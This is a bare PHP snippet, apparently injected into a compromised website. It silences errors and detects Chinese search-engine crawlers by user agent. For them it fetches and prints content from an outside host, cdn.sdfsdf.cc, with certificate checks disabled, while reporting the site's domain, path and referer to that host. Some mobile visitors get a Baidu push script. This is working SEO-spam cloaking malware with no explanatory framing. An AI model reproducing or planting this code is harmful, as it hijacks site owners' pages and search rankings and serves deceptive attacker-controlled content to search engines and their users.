error_reporting(0); $a = "stristr"; $b = $_SERVER; header("Content-Type: text/html;charset=utf-8"); function httpGetlai($c) { $d = curl_init(); curl_setopt($d, CURLOPT_URL, $c); curl_setopt($d, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($d, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($d, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($d, CURLOPT_RETURNTRANSFER, 1); curl_setopt($d, CURLOPT_HEADER, 0); $e = curl_exec($d); curl_close($d); return $e; } define('url', $b['REQUEST_URI']); define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']); define('ent', $b['HTTP_USER_AGENT']); define('site', "http://cdn.sdfsdf.cc/?"); define('road', "domain=".$b['HTTP_HOST']. "&path=".url. "&spider=".urlencode(ent)); define('memes', road. "&referer=".urlencode(ref)); define('regs', '@BaiduSpider|Sogou|Yisou|Bytespider|Haosou|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('area', $a(url, ".shtml") or $a(url, "_shtml")); if (preg_match(regs, ent)) { if (area) { echo httpGetlai(site.road); exit; } else { echo httpGetlai("http://cdn.sdfsdf.cc/cdn.php"); ob_flush(); flush(); } } if (area && preg_match(mobile, ent)) { echo << (function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else { bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); })(); HTML; exit; }?>